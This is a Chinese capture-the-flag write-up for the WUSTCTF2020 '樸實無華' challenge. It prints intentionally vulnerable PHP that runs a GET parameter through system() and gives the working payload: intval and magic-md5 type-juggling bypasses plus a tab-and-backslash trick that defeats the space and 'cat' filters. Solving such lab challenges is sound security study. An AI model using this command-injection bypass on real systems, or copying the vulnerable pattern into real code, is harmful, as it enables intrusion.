1.發現

1.1沒發現提示，使用dirsearch掃描一下後臺，掃到一個檔案。

1.2開啟檔案，又是一個檔案。

1.3開啟檔案，提示不是flag。

1.4使用bp抓一下包發現一個檔案。

1.5開啟檔案，修改一下編碼，得到PHP程式碼。

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval
 
($num) < 2020 && intval($num + 1) > 2021){
        echo "我不經意間看了看我的勞力士, 不是想看時間, 只是想不經意間, 讓你知道我過得比你好.</br>";
    }else{
        die("金錢解決不了窮人的本質問題");
    }
}else{
    die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到這個CTFer拿到flag後, 感激涕零, 跑去東瀾岸, 找一家餐廳, 把廚師轟出去, 自己炒兩個拿手小菜, 倒一杯散裝白酒, 致富有道, 別學小暴.</br>";
   
 
else
       die("我趕緊喊來我的酒肉朋友, 他打了個電話, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到這裡, 我充實而欣慰, 有錢人的快樂往往就是這麼的樸實無華, 且枯燥.</br>";
        
 
system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?>
去非洲吧

2.步驟

2.1開始程式碼審計，根據提示，傳入payload，得到flag。

num=1e10&md5=0e215962017&get_flag=ca\t%09fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

3.借鑑

(37條訊息) [WUSTCTF2020]樸實無華_SopRomeo的部落格-CSDN部落格

4.知識點

PHP程式碼審計

md5加密

intval函式

strstr函式

str_ireplace函式

命令執行的繞過